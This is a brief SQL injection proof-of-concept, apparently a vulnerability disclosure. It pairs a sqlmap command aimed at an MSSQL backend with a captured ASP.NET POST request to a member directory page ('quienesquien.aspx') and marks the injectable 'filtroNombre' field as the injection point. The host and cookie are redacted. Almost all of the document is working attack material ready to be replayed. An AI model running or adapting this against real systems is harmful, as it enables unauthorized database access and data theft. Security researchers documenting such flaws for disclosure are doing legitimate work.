$ sqlmap --random-agent -r req.sqli.xml -p 'ctl00%24ContentPlaceHolder1%24filtroNombre' --dbms="MSSQL"

POST /MemberPages/quienesquien.aspx HTTP/1.1
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-Microsoftajax: Delta=true
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
 
ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24ContentPlaceHolder1%24lnkVerTrabajador&ctl00%24ContentPlaceHolder1%24filtroNombre=[SQL_INJECTION_POINT]&ctl00%24ContentPlaceHolder1%24ddlEmpresa=&ctl00%24ContentPlaceHolder1%24filtroCentro=&ctl00%24ContentPlaceHolder1%24filtroUO=&ctl00%24ContentPlaceHolder1%24filtroPuesto=&__EVENTTARGET=ctl00%24ContentPlaceHolder1%24lnkVerTrabajador&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=...&__VIEWSTATEGENERATOR=...&__ASYNCPOST=true&